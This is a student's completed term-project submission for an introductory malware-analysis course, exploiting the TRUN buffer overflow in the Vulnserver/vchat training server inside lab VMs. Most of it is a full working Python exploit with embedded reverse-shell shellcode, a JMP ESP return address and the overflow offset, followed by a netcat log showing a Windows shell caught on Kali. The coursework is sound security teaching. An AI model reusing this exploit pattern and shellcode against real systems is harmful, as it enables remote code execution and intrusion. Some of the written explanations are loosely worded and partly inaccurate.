Introduction to Malware Analysis

Term Project

(10 points)

Partner: Andy Pen

Instructions

Read the entire Vulnserver TRUN Exploitation tutorial. On our Windows VM, C:\Tools\vchat\Server\ vchat.exe has the same vulnerabilities of Vulnserver. The tutorial introduces how an attack can be performed against Vulnserver/vchat on Windows VM from Kali Linux VM.

Hints:

- *Real-time protection* of *Exploit Protection* of Windows shall be disabled.
- Every time Windows is started, their system DLLs are loaded to different addresses.

Requirements:

1. Explain how the TRUN command of Vulnserver/vchat can be exploited. (2 points)

   The TRUN command has a buffer overflow vulnerability. By imputing a long string into the command, it gets exploited. The spike command/fuzzing does this exploiting by mutating the string.

2. The tutorial uses an Immunity Debugger plugin called *mona* to find an address of the instruction *jmp esp*. What is the purpose of the instruction *jmp esp* in the exploit? (2 points)

   The purpose is that after the buffer overflow/exploitation happens, the instruction sends the control of the program to the attacker/shellcode. When the program hits the JMP ESP instruction, it will allow C code to be executed on the buffer, allowing it to be exploited.

3. Please copy and paste your final exploit.py below. (3 points)

Kali-CR [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

kali@Cyber-Range: ~

File Actions Edit View Help

```
import socket
import struct

HOST = '10.0.2.4'
PORT = 9999
SHELL = b""
SHELL += b"\xdb\xdb\xd9\x74\x24\xf4\xb8\x38\xd1\xbf\xdb\x5e"
SHELL += b"\x2b\xc9\xb1\x52\x83\xc6\x04\x31\x46\x13\x03\x7e"
SHELL += b"\xc2\x5d\x2e\x82\x0c\x23\xd1\x7a\xcd\x44\x5b\x9f"
SHELL += b"\xfc\x44\x3f\xd4\xaf\x74\x4b\xb8\x43\xfe\x19\x28"
SHELL += b"\xd7\x72\xb6\x5f\x50\x38\xe0\x6e\x61\x11\xd0\xf1"
SHELL += b"\xe1\x68\x05\xd1\xd8\xa2\x58\x10\x1c\xde\x91\x40"
SHELL += b"\xf5\x94\x04\x74\x72\xe0\x94\xff\xc8\xe4\x9c\x1c"
SHELL += b"\x98\x07\x8c\xb3\x92\x51\x0e\x32\x76\xea\x07\x2c"
SHELL += b"\x9b\xd7\xde\xc7\x6f\xa3\xe0\x01\xbe\x4c\x4e\x6c"
SHELL += b"\x0e\xbf\x8e\xa9\xa9\x20\xe5\xc3\xc9\xdd\xfe\x10"
SHELL += b"\xb3\x39\x8a\x82\x13\xc9\x2c\x6e\xa5\x1e\xaa\xe5"
SHELL += b"\xa9\xeb\xb8\xa1\xad\xea\x6d\xda\xca\x67\x90\x0c"
SHELL += b"\x5b\x33\xb7\x88\x07\xe7\xd6\x89\xed\x46\xe6\xc9"
SHELL += b"\x4d\x36\x42\x82\x60\x23\xff\xc9\xec\x80\x32\xf1"
SHELL += b"\xec\x8e\x45\x82\xde\x11\xfe\x0c\x53\xd9\xd8\xcb"
SHELL += b"\x94\xf0\x9d\x43\x6b\xfb\xdd\x4a\xa8\xaf\x8d\xe4"
SHELL += b"\x19\xd0\x45\xf4\xa6\x05\xc9\xa4\x08\xf6\xaa\x14"
SHELL += b"\xe9\xa6\x42\x7e\xe6\x99\x73\x81\x2c\xb2\x1e\x78"
SHELL += b"\xa7\xb7\xde\x80\x38\xa0\xdc\x84\x57\x6c\x68\x62"
SHELL += b"\x3d\x9c\x3c\x3d\xaa\x05\x65\xb5\x4b\xc9\xb3\xb0"
SHELL += b"\x4c\x41\x30\x45\x02\xa2\x3d\x55\xf3\x42\x08\x07"
SHELL += b"\x52\x5c\xa6\x2f\x38\xcf\x2d\xaf\x37\xec\xf9\xf8"
SHELL += b"\x10\xc2\xf3\x6c\x8d\x7d\xaa\x92\x4c\x1b\x95\x16"
SHELL += b"\x8b\xd8\x18\x97\x5e\x64\x3f\x87\xa6\x65\x7b\xf3"
SHELL += b"\x76\x30\xd5\xad\x30\xea\x97\x07\xeb\x41\x7e\xcf"
SHELL += b"\x6a\xaa\x41\x89\x72\xe7\x37\x75\xc2\x5e\x0e\x8a"
SHELL += b"\xeb\x36\x86\xf3\x11\xa7\x69\x2e\x92\xc7\x8b\xfa"
SHELL += b"\xef\x6f\x12\x6f\x52\xf2\xa5\x5a\x91\x0b\x26\x6e"
SHELL += b"\x6a\xe8\x36\x1b\x6f\xb4\xf0\xf0\x1d\xa5\x94\xf6"
SHELL += b"\xb2\xc6\xbc"
PAYLOAD = (
        b'TRUN /.:/' +
        b'A' * 2003 +
        struct.pack('<L', 0x6250151e) +
        b'C' * 32 +
        SHELL +
        b'C' * (5000- 2003 - 4 - 32 - len(SHELL))
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
```

-- VISUAL --

4. Please provide a screenshot showing Vulnserver/vchat is successfully exploited and the Windows shell is started on Kali Linux. (3 points)

```
┌──(kali㉿Cyber-Range)-[~]
└─$ nc -l -v -p 4444
listening on [any] 4444 ...
10.0.2.4: inverse host lookup failed: Unknown host
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 49823
Microsoft Windows [Version 10.0.19044.2846]
(c) Microsoft Corporation. All rights reserved.

C:\Tools\vchat\Server>

┌──(kali㉿Cyber-Range)-[~]
└─$
```